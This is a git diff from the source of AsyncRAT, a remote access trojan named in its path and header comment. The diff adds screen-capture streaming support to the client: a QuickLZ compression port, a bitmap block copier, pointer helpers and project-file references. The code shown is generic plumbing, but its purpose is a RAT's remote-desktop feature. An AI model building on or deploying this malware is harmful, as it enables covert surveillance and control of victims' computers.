public void WriteDouble(double value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
public void WriteLong(long value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
public void WriteFloat(float value)
|
||||
{
|
||||
WriteBytes(BitConverter.GetBytes(value));
|
||||
}
|
||||
public void WriteDecimal(decimal value)
|
||||
{
|
||||
BinaryWriter writer = new BinaryWriter(vStream);
|
||||
writer.Write(value);
|
||||
}
|
||||
|
||||
public void WriteString(string value)
|
||||
{
|
||||
if (!(value == null))
|
||||
WriteBytes(System.Text.Encoding.Unicode.GetBytes(value));
|
||||
else
|
||||
throw new NullReferenceException("value");
|
||||
vStream.WriteByte(0);
|
||||
vStream.WriteByte(0);
|
||||
}
|
||||
|
||||
public int Length
|
||||
{
|
||||
get { return (int)vStream.Length; }
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
vStream.Close();
|
||||
vStream.Dispose();
|
||||
vStream = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,58 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
/// <summary>
|
||||
/// A helper class for pointers
|
||||
/// </summary>
|
||||
public class PointerHelper
|
||||
{
|
||||
private int _offset;
|
||||
|
||||
public IntPtr Pointer
|
||||
{
|
||||
get;
|
||||
private set;
|
||||
}
|
||||
|
||||
public int TotalLength { get; private set; }
|
||||
|
||||
public int Offset
|
||||
{
|
||||
get { return _offset; }
|
||||
set
|
||||
{
|
||||
if (value < 0)
|
||||
throw new Exception("Offset must be >= 1");
|
||||
|
||||
if (value >= TotalLength)
|
||||
throw new Exception("Offset cannot go outside of the reserved buffer space");
|
||||
|
||||
_offset = value;
|
||||
}
|
||||
}
|
||||
|
||||
public PointerHelper(IntPtr pointer, int Length)
|
||||
{
|
||||
this.TotalLength = Length;
|
||||
this.Pointer = pointer;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Copies data from Source to the current Pointer Offset
|
||||
/// </summary>
|
||||
public void Copy(IntPtr Source, int SourceOffset, int SourceLength)
|
||||
{
|
||||
if (CheckBoundries(this.Offset, SourceLength))
|
||||
throw new AccessViolationException("Cannot write outside of the buffer space");
|
||||
NativeMethods.memcpy(new IntPtr(this.Pointer.ToInt64() + Offset), new IntPtr(Source.ToInt64() + SourceOffset), (uint)SourceLength);
|
||||
}
|
||||
|
||||
private bool CheckBoundries(int offset, int length)
|
||||
{
|
||||
return offset + length > TotalLength;
|
||||
}
|
||||
}
|
||||
}
|
||||
487
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SafeQuickLZ.cs
Normal file
487
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SafeQuickLZ.cs
Normal file
@ -0,0 +1,487 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
// QuickLZ data compression library
|
||||
// Copyright (C) 2006-2011 Lasse Mikkel Reinhold
|
||||
// lar@quicklz.com
|
||||
//
|
||||
// QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything
|
||||
// released into public must be open source) or under a commercial license if such
|
||||
// has been acquired (see http://www.quicklz.com/order.html). The commercial license
|
||||
// does not cover derived or ported versions created by third parties under GPL.
|
||||
//
|
||||
// Only a subset of the C library has been ported, namely level 1 and 3 not in
|
||||
// streaming mode.
|
||||
//
|
||||
// Version: 1.5.0 final
|
||||
|
||||
public class SafeQuickLZ
|
||||
{
|
||||
public const int QLZ_VERSION_MAJOR = 1;
|
||||
public const int QLZ_VERSION_MINOR = 5;
|
||||
public const int QLZ_VERSION_REVISION = 0;
|
||||
|
||||
// Streaming mode not supported
|
||||
public const int QLZ_STREAMING_BUFFER = 0;
|
||||
|
||||
// Bounds checking not supported Use try...catch instead
|
||||
public const int QLZ_MEMORY_SAFE = 0;
|
||||
|
||||
// Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values!
|
||||
private const int HASH_VALUES = 4096;
|
||||
private const int MINOFFSET = 2;
|
||||
private const int UNCONDITIONAL_MATCHLEN = 6;
|
||||
private const int UNCOMPRESSED_END = 4;
|
||||
private const int CWORD_LEN = 4;
|
||||
private const int DEFAULT_HEADERLEN = 9;
|
||||
private const int QLZ_POINTERS_1 = 1;
|
||||
private const int QLZ_POINTERS_3 = 16;
|
||||
|
||||
private int headerLen(byte[] source, int offset)
|
||||
{
|
||||
return ((source[offset] & 2) == 2) ? 9 : 3;
|
||||
}
|
||||
|
||||
public int sizeDecompressed(byte[] source, int offset)
|
||||
{
|
||||
if (headerLen(source, offset) == 9)
|
||||
return source[offset + 5] | (source[offset + 6] << 8) | (source[offset + 7] << 16) | (source[offset + 8] << 24);
|
||||
else
|
||||
return source[offset + 2];
|
||||
}
|
||||
|
||||
public int sizeCompressed(byte[] source, int offset)
|
||||
{
|
||||
if (headerLen(source, offset) == 9)
|
||||
return source[offset + 1] | (source[offset + 2] << 8) | (source[offset + 3] << 16) | (source[offset + 4] << 24);
|
||||
else
|
||||
return source[offset + 1];
|
||||
}
|
||||
|
||||
private void write_header(byte[] dst, int level, bool compressible, int size_compressed, int size_decompressed)
|
||||
{
|
||||
dst[0] = (byte)(2 | (compressible ? 1 : 0));
|
||||
dst[0] |= (byte)(level << 2);
|
||||
dst[0] |= (1 << 6);
|
||||
dst[0] |= (0 << 4);
|
||||
fast_write(dst, 1, size_decompressed, 4);
|
||||
fast_write(dst, 5, size_compressed, 4);
|
||||
}
|
||||
|
||||
public byte[] compress(byte[] source, int Offset, int Length, int level)
|
||||
{
|
||||
int src = Offset;
|
||||
int dst = DEFAULT_HEADERLEN + CWORD_LEN;
|
||||
uint cword_val = 0x80000000;
|
||||
int cword_ptr = DEFAULT_HEADERLEN;
|
||||
byte[] destination = new byte[Length + 400];
|
||||
int[,] hashtable;
|
||||
int[] cachetable = new int[HASH_VALUES];
|
||||
byte[] hash_counter = new byte[HASH_VALUES];
|
||||
byte[] d2;
|
||||
int fetch = 0;
|
||||
int last_matchstart = (Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1);
|
||||
int lits = 0;
|
||||
|
||||
if (level != 1 && level != 3)
|
||||
throw new ArgumentException("C# version only supports level 1 and 3");
|
||||
|
||||
if (level == 1)
|
||||
hashtable = new int[HASH_VALUES, QLZ_POINTERS_1];
|
||||
else
|
||||
hashtable = new int[HASH_VALUES, QLZ_POINTERS_3];
|
||||
|
||||
if (Length == 0)
|
||||
return new byte[0];
|
||||
|
||||
if (src <= last_matchstart)
|
||||
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
|
||||
|
||||
while (src <= last_matchstart)
|
||||
{
|
||||
if ((cword_val & 1) == 1)
|
||||
{
|
||||
if (src > Length >> 1 && dst > src - (src >> 5))
|
||||
{
|
||||
d2 = new byte[Length + DEFAULT_HEADERLEN];
|
||||
write_header(d2, level, false, Length, Length + DEFAULT_HEADERLEN);
|
||||
System.Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, Length);
|
||||
return d2;
|
||||
}
|
||||
|
||||
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);
|
||||
cword_ptr = dst;
|
||||
dst += CWORD_LEN;
|
||||
cword_val = 0x80000000;
|
||||
}
|
||||
|
||||
if (level == 1)
|
||||
{
|
||||
int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
|
||||
int o = hashtable[hash, 0];
|
||||
int cache = cachetable[hash] ^ fetch;
|
||||
cachetable[hash] = fetch;
|
||||
hashtable[hash, 0] = src;
|
||||
|
||||
if (cache == 0 && hash_counter[hash] != 0 && (src - o > MINOFFSET || (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] &&
|
||||
source[src] == source[src - 2] && source[src] == source[src - 1] &&
|
||||
source[src] == source[src + 1] && source[src] == source[src + 2])))
|
||||
{
|
||||
cword_val = ((cword_val >> 1) | 0x80000000);
|
||||
if (source[o + 3] != source[src + 3])
|
||||
{
|
||||
int f = 3 - 2 | (hash << 4);
|
||||
destination[dst + 0] = (byte)(f >> 0 * 8);
|
||||
destination[dst + 1] = (byte)(f >> 1 * 8);
|
||||
src += 3;
|
||||
dst += 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
int old_src = src;
|
||||
int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1));
|
||||
|
||||
src += 4;
|
||||
if (source[o + src - old_src] == source[src])
|
||||
{
|
||||
src++;
|
||||
if (source[o + src - old_src] == source[src])
|
||||
{
|
||||
src++;
|
||||
while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining)
|
||||
src++;
|
||||
}
|
||||
}
|
||||
|
||||
int matchlen = src - old_src;
|
||||
|
||||
hash <<= 4;
|
||||
if (matchlen < 18)
|
||||
{
|
||||
int f = (hash | (matchlen - 2));
|
||||
destination[dst + 0] = (byte)(f >> 0 * 8);
|
||||
destination[dst + 1] = (byte)(f >> 1 * 8);
|
||||
dst += 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
fast_write(destination, dst, hash | (matchlen << 16), 3);
|
||||
dst += 3;
|
||||
}
|
||||
}
|
||||
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
|
||||
lits = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
lits++;
|
||||
hash_counter[hash] = 1;
|
||||
destination[dst] = source[src];
|
||||
cword_val = (cword_val >> 1);
|
||||
src++;
|
||||
dst++;
|
||||
fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16);
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
|
||||
|
||||
int o, offset2;
|
||||
int matchlen, k, m, best_k = 0;
|
||||
byte c;
|
||||
int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1));
|
||||
int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
|
||||
|
||||
c = hash_counter[hash];
|
||||
matchlen = 0;
|
||||
offset2 = 0;
|
||||
for (k = 0; k < QLZ_POINTERS_3 && c > k; k++)
|
||||
{
|
||||
o = hashtable[hash, k];
|
||||
if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET)
|
||||
{
|
||||
m = 3;
|
||||
while (source[o + m] == source[src + m] && m < remaining)
|
||||
m++;
|
||||
if ((m > matchlen) || (m == matchlen && o > offset2))
|
||||
{
|
||||
offset2 = o;
|
||||
matchlen = m;
|
||||
best_k = k;
|
||||
}
|
||||
}
|
||||
}
|
||||
o = offset2;
|
||||
hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src;
|
||||
c++;
|
||||
hash_counter[hash] = c;
|
||||
|
||||
if (matchlen >= 3 && src - o < 131071)
|
||||
{
|
||||
int offset = src - o;
|
||||
|
||||
for (int u = 1; u < matchlen; u++)
|
||||
{
|
||||
fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16);
|
||||
hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
|
||||
c = hash_counter[hash]++;
|
||||
hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u;
|
||||
}
|
||||
|
||||
src += matchlen;
|
||||
cword_val = ((cword_val >> 1) | 0x80000000);
|
||||
|
||||
if (matchlen == 3 && offset <= 63)
|
||||
{
|
||||
fast_write(destination, dst, offset << 2, 1);
|
||||
dst++;
|
||||
}
|
||||
else if (matchlen == 3 && offset <= 16383)
|
||||
{
|
||||
fast_write(destination, dst, (offset << 2) | 1, 2);
|
||||
dst += 2;
|
||||
}
|
||||
else if (matchlen <= 18 && offset <= 1023)
|
||||
{
|
||||
fast_write(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2);
|
||||
dst += 2;
|
||||
}
|
||||
else if (matchlen <= 33)
|
||||
{
|
||||
fast_write(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3);
|
||||
dst += 3;
|
||||
}
|
||||
else
|
||||
{
|
||||
fast_write(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4);
|
||||
dst += 4;
|
||||
}
|
||||
lits = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
destination[dst] = source[src];
|
||||
cword_val = (cword_val >> 1);
|
||||
src++;
|
||||
dst++;
|
||||
}
|
||||
}
|
||||
}
|
||||
while (src <= Length - 1)
|
||||
{
|
||||
if ((cword_val & 1) == 1)
|
||||
{
|
||||
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);
|
||||
cword_ptr = dst;
|
||||
dst += CWORD_LEN;
|
||||
cword_val = 0x80000000;
|
||||
}
|
||||
|
||||
destination[dst] = source[src];
|
||||
src++;
|
||||
dst++;
|
||||
cword_val = (cword_val >> 1);
|
||||
}
|
||||
while ((cword_val & 1) != 1)
|
||||
{
|
||||
cword_val = (cword_val >> 1);
|
||||
}
|
||||
|
||||
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN);
|
||||
write_header(destination, level, true, Length, dst);
|
||||
d2 = new byte[dst];
|
||||
System.Array.Copy(destination, d2, dst);
|
||||
return d2;
|
||||
}
|
||||
|
||||
|
||||
private void fast_write(byte[] a, int i, int value, int numbytes)
|
||||
{
|
||||
for (int j = 0; j < numbytes; j++)
|
||||
a[i + j] = (byte)(value >> (j * 8));
|
||||
}
|
||||
|
||||
public byte[] decompress(byte[] source, int Offset, int Length)
|
||||
{
|
||||
int level;
|
||||
int size = sizeDecompressed(source, Offset);
|
||||
int src = headerLen(source, Offset) + Offset;
|
||||
int dst = 0;
|
||||
uint cword_val = 1;
|
||||
byte[] destination = new byte[size];
|
||||
int[] hashtable = new int[4096];
|
||||
byte[] hash_counter = new byte[4096];
|
||||
int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1;
|
||||
int last_hashed = -1;
|
||||
int hash;
|
||||
uint fetch = 0;
|
||||
|
||||
level = (source[Offset] >> 2) & 0x3;
|
||||
|
||||
if (level != 1 && level != 3)
|
||||
throw new ArgumentException("C# version only supports level 1 and 3");
|
||||
|
||||
if ((source[Offset] & 1) != 1)
|
||||
{
|
||||
byte[] d2 = new byte[size];
|
||||
System.Array.Copy(source, headerLen(source, Offset), d2, Offset, size);
|
||||
return d2;
|
||||
}
|
||||
|
||||
for (; ; )
|
||||
{
|
||||
if (cword_val == 1)
|
||||
{
|
||||
cword_val = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
|
||||
src += 4;
|
||||
if (dst <= last_matchstart)
|
||||
{
|
||||
if (level == 1)
|
||||
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));
|
||||
else
|
||||
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
|
||||
}
|
||||
}
|
||||
|
||||
if ((cword_val & 1) == 1)
|
||||
{
|
||||
uint matchlen;
|
||||
uint offset2;
|
||||
|
||||
cword_val = cword_val >> 1;
|
||||
|
||||
if (level == 1)
|
||||
{
|
||||
hash = ((int)fetch >> 4) & 0xfff;
|
||||
offset2 = (uint)hashtable[hash];
|
||||
|
||||
if ((fetch & 0xf) != 0)
|
||||
{
|
||||
matchlen = (fetch & 0xf) + 2;
|
||||
src += 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
matchlen = source[src + 2];
|
||||
src += 3;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
uint offset;
|
||||
if ((fetch & 3) == 0)
|
||||
{
|
||||
offset = (fetch & 0xff) >> 2;
|
||||
matchlen = 3;
|
||||
src++;
|
||||
}
|
||||
else if ((fetch & 2) == 0)
|
||||
{
|
||||
offset = (fetch & 0xffff) >> 2;
|
||||
matchlen = 3;
|
||||
src += 2;
|
||||
}
|
||||
else if ((fetch & 1) == 0)
|
||||
{
|
||||
offset = (fetch & 0xffff) >> 6;
|
||||
matchlen = ((fetch >> 2) & 15) + 3;
|
||||
src += 2;
|
||||
}
|
||||
else if ((fetch & 127) != 3)
|
||||
{
|
||||
offset = (fetch >> 7) & 0x1ffff;
|
||||
matchlen = ((fetch >> 2) & 0x1f) + 2;
|
||||
src += 3;
|
||||
}
|
||||
else
|
||||
{
|
||||
offset = (fetch >> 15);
|
||||
matchlen = ((fetch >> 7) & 255) + 3;
|
||||
src += 4;
|
||||
}
|
||||
offset2 = (uint)(dst - offset);
|
||||
}
|
||||
|
||||
destination[dst + 0] = destination[offset2 + 0];
|
||||
destination[dst + 1] = destination[offset2 + 1];
|
||||
destination[dst + 2] = destination[offset2 + 2];
|
||||
|
||||
for (int i = 3; i < matchlen; i += 1)
|
||||
{
|
||||
destination[dst + i] = destination[offset2 + i];
|
||||
}
|
||||
|
||||
dst += (int)matchlen;
|
||||
|
||||
if (level == 1)
|
||||
{
|
||||
fetch = (uint)(destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | (destination[last_hashed + 3] << 16));
|
||||
while (last_hashed < dst - matchlen)
|
||||
{
|
||||
last_hashed++;
|
||||
hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1));
|
||||
hashtable[hash] = last_hashed;
|
||||
hash_counter[hash] = 1;
|
||||
fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16);
|
||||
}
|
||||
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));
|
||||
}
|
||||
else
|
||||
{
|
||||
fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
|
||||
}
|
||||
last_hashed = dst - 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (dst <= last_matchstart)
|
||||
{
|
||||
destination[dst] = source[src];
|
||||
dst += 1;
|
||||
src += 1;
|
||||
cword_val = cword_val >> 1;
|
||||
|
||||
if (level == 1)
|
||||
{
|
||||
while (last_hashed < dst - 3)
|
||||
{
|
||||
last_hashed++;
|
||||
int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | (destination[last_hashed + 2] << 16);
|
||||
hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1);
|
||||
hashtable[hash] = last_hashed;
|
||||
hash_counter[hash] = 1;
|
||||
}
|
||||
fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16);
|
||||
}
|
||||
else
|
||||
{
|
||||
fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
while (dst <= size - 1)
|
||||
{
|
||||
if (cword_val == 1)
|
||||
{
|
||||
src += CWORD_LEN;
|
||||
cword_val = 0x80000000;
|
||||
}
|
||||
|
||||
destination[dst] = source[src];
|
||||
dst++;
|
||||
src++;
|
||||
cword_val = cword_val >> 1;
|
||||
}
|
||||
return destination;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
177
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SimpleBitmap.cs
Normal file
177
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SimpleBitmap.cs
Normal file
@ -0,0 +1,177 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public unsafe class SimpleBitmap
|
||||
{
|
||||
private object ProcessingLock = new object();
|
||||
|
||||
public SimpleBitmapInfo Info { get; internal set; }
|
||||
public bool Locked { get { return Scan0 == IntPtr.Zero ? false : true; } }
|
||||
public IntPtr Scan0 { get; internal set; }
|
||||
public int Scan0_int { get; internal set; }
|
||||
public BitmapData bitmapData { get; internal set; }
|
||||
public Bitmap bitMap { get; set; }
|
||||
|
||||
public class SimpleBitmapInfo
|
||||
{
|
||||
public SimpleBitmapInfo()
|
||||
{
|
||||
Clear();
|
||||
}
|
||||
public SimpleBitmapInfo(BitmapData data)
|
||||
{
|
||||
Load(data);
|
||||
}
|
||||
public int Stride { get; protected set; }
|
||||
public int PixelSize { get; protected set; }
|
||||
public int Width { get; protected set; }
|
||||
public int Height { get; protected set; }
|
||||
|
||||
public int TotalSize { get; protected set; }
|
||||
|
||||
internal void Clear()
|
||||
{
|
||||
Stride = 0; PixelSize = 0; Width = 0; Height = 0; TotalSize = 0;
|
||||
}
|
||||
internal void Load(BitmapData data)
|
||||
{
|
||||
Width = data.Width; Height = data.Height; Stride = data.Stride;
|
||||
|
||||
PixelSize = Math.Abs(data.Stride) / data.Width;
|
||||
TotalSize = data.Width * data.Height * PixelSize;
|
||||
}
|
||||
}
|
||||
|
||||
public static bool Compare(Rectangle block, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
|
||||
{
|
||||
int calc = 0;
|
||||
int WidthSize = block.Width * sharedInfo.PixelSize;
|
||||
|
||||
calc = (block.Y) * sharedInfo.Stride + block.X * sharedInfo.PixelSize;
|
||||
|
||||
for (int i = 0; i < block.Height; i++)
|
||||
{
|
||||
if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)WidthSize) != 0)
|
||||
return false;
|
||||
calc += sharedInfo.Stride;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
public static bool Compare(int y, int rowsize, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
|
||||
{
|
||||
int calc = 0;
|
||||
int Size = sharedInfo.Width * sharedInfo.PixelSize * rowsize;
|
||||
|
||||
calc = y * sharedInfo.Stride;
|
||||
|
||||
if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)Size) != 0)
|
||||
return false;
|
||||
return true;
|
||||
}
|
||||
public static bool FastCompare(int offset, int size, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
|
||||
{
|
||||
if (NativeMethods.memcmp((byte*)(ptr1 + offset), (byte*)(ptr2 + offset), (uint)size) != 0)
|
||||
return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
public unsafe void CopyBlock(Rectangle block, ref byte[] dest)
|
||||
{
|
||||
int calc = 0;
|
||||
int WidthSize = block.Width * Info.PixelSize;
|
||||
int CopyOffset = 0;
|
||||
int scan0 = Scan0.ToInt32();
|
||||
int destSize = WidthSize * block.Height;
|
||||
|
||||
if (dest == null || dest.Length != destSize)
|
||||
dest = new byte[destSize];
|
||||
|
||||
calc = (block.Y) * Info.Stride + block.X * Info.PixelSize;
|
||||
|
||||
fixed (byte* ptr = dest)
|
||||
{
|
||||
for (int i = 0; i < block.Height; i++)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(ptr + CopyOffset), new IntPtr(scan0 + calc), (uint)WidthSize);
|
||||
calc += Info.Stride;
|
||||
CopyOffset += WidthSize;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public SimpleBitmap()
|
||||
{
|
||||
Scan0 = IntPtr.Zero;
|
||||
bitmapData = null;
|
||||
bitMap = null;
|
||||
|
||||
Info = new SimpleBitmapInfo();
|
||||
}
|
||||
public SimpleBitmap(Bitmap bmp)
|
||||
{
|
||||
this.bitMap = bmp;
|
||||
}
|
||||
|
||||
public void Lock()
|
||||
{
|
||||
if (Locked)
|
||||
throw new Exception("Already locked");
|
||||
|
||||
lock (ProcessingLock)
|
||||
{
|
||||
bitmapData = bitMap.LockBits(new Rectangle(0, 0, bitMap.Width, bitMap.Height), ImageLockMode.ReadWrite, bitMap.PixelFormat);
|
||||
|
||||
Info = new SimpleBitmapInfo(bitmapData);
|
||||
|
||||
Scan0 = bitmapData.Scan0;
|
||||
Scan0_int = Scan0.ToInt32();
|
||||
}
|
||||
}
|
||||
public void Unlock()
|
||||
{
|
||||
if (!Locked)
|
||||
throw new Exception("Nothing to unlock");
|
||||
|
||||
lock (ProcessingLock)
|
||||
{
|
||||
Scan0 = IntPtr.Zero;
|
||||
Scan0_int = 0;
|
||||
|
||||
Info.Clear();
|
||||
bitMap.UnlockBits(bitmapData);
|
||||
bitmapData = null;
|
||||
}
|
||||
}
|
||||
public unsafe void PlaceBlockAtRectange(byte[] block, Rectangle loc)
|
||||
{
|
||||
int CopySize = Info.PixelSize * loc.Width;
|
||||
int OffsetX = loc.X * Info.PixelSize;
|
||||
int TotalCopied = 0;
|
||||
|
||||
fixed (byte* ptr = block)
|
||||
{
|
||||
for (int i = 0; i < loc.Height; i++)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(Scan0_int + ((loc.Y + i) * Info.Stride + OffsetX)), new IntPtr(ptr + TotalCopied), (uint)CopySize);
|
||||
TotalCopied += CopySize;
|
||||
}
|
||||
}
|
||||
}
|
||||
public void Dispose(bool disposeBitmap = false)
|
||||
{
|
||||
if (Locked)
|
||||
Unlock();
|
||||
|
||||
if (disposeBitmap)
|
||||
bitMap.Dispose();
|
||||
|
||||
bitMap = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -23,6 +23,7 @@
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<DocumentationFile>
|
||||
</DocumentationFile>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
@ -40,6 +41,8 @@
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
@ -50,6 +53,37 @@
|
||||
<Compile Include="MessagePack\WriteTools.cs" />
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\DirectDriverCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\MJPGCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\QuickCachedStreamCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\QuickStreamCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\SmallCachedStreamCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Codecs\SmallStreamCodec.cs" />
|
||||
<Compile Include="StreamLibrary\Encoders\GridCoder\GridBlock.cs" />
|
||||
<Compile Include="StreamLibrary\Encoders\GridCoder\GridEncoder.cs" />
|
||||
<Compile Include="StreamLibrary\Enums.cs" />
|
||||
<Compile Include="StreamLibrary\IEncoder.cs" />
|
||||
<Compile Include="StreamLibrary\IUnsafeCodec.cs" />
|
||||
<Compile Include="StreamLibrary\IVideoCodec.cs" />
|
||||
<Compile Include="StreamLibrary\src\CRC32.cs" />
|
||||
<Compile Include="StreamLibrary\src\ExtensionAttribute.cs" />
|
||||
<Compile Include="StreamLibrary\src\Extentions.cs" />
|
||||
<Compile Include="StreamLibrary\src\FastBitmap.cs" />
|
||||
<Compile Include="StreamLibrary\src\JpgCompression.cs" />
|
||||
<Compile Include="StreamLibrary\src\LzwCompression.cs" />
|
||||
<Compile Include="StreamLibrary\src\MurmurHash2Unsafe.cs" />
|
||||
<Compile Include="StreamLibrary\src\NativeMethods.cs" />
|
||||
<Compile Include="StreamLibrary\src\PayloadWriter.cs" />
|
||||
<Compile Include="StreamLibrary\src\PointerHelper.cs" />
|
||||
<Compile Include="StreamLibrary\src\SafeQuickLZ.cs" />
|
||||
<Compile Include="StreamLibrary\src\SimpleBitmap.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeCacheCodec.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeCachedStreamCodec.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeMiniCodec.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeOptimizedCodec.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeQuickStream.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeStreamCodec.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup />
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
@ -11,7 +11,12 @@ using System.Windows.Forms;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
using StreamLibrary;
|
||||
using StreamLibrary.UnsafeCodecs;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Management;
|
||||
using System.Linq;
|
||||
|
||||
// │ Author : NYAN CAT
|
||||
// │ Name : AsyncRAT // Simple Socket
|
||||
@ -157,6 +162,7 @@ namespace Client
|
||||
if (Buffer[0] == 0)
|
||||
{
|
||||
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
|
||||
Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + "Bytes ///");
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
if (Buffersize > 0)
|
||||
@ -270,6 +276,45 @@ namespace Client
|
||||
Uninstall();
|
||||
}
|
||||
